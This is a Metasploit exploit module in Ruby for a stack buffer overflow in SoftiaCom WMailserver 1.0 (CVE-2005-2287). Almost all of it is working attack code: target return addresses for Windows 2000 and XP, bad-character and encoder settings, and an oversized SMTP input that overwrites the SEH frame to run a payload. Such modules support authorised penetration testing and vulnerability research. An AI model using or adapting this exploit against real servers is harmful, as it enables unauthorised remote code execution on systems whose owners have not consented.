SoftiaCom WMailserver 1.0 Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'SoftiaCom WMailserver 1.0 Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in SoftiaCom WMailserver 1.0  
(SMTP) via a SEH frame overwrite.   
},  
'Author' => [ 'MC' ],  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-2287' ],  
[ 'OSVDB', '17883' ],  
[ 'BID', '14213' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Platform' => 'win',  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00\x0a\x0d\x20",  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
},  
'Targets' =>   
[  
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],  
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jul 11 2005 '))  
  
register_options([ Opt::RPORT(25) ], self.class)  
end  
  
def exploit  
connect  
  
filler = " " + rand_text_alpha_upper(5115)  
seh = generate_seh_payload(target.ret)  
sploit = filler + seh + rand_text_alpha_upper(200)   
  
print_status("Trying target #{target.name}...")   
sock.put(sploit + "\r\n\r\n")  
  
handler  
disconnect  
end  
  
end  
`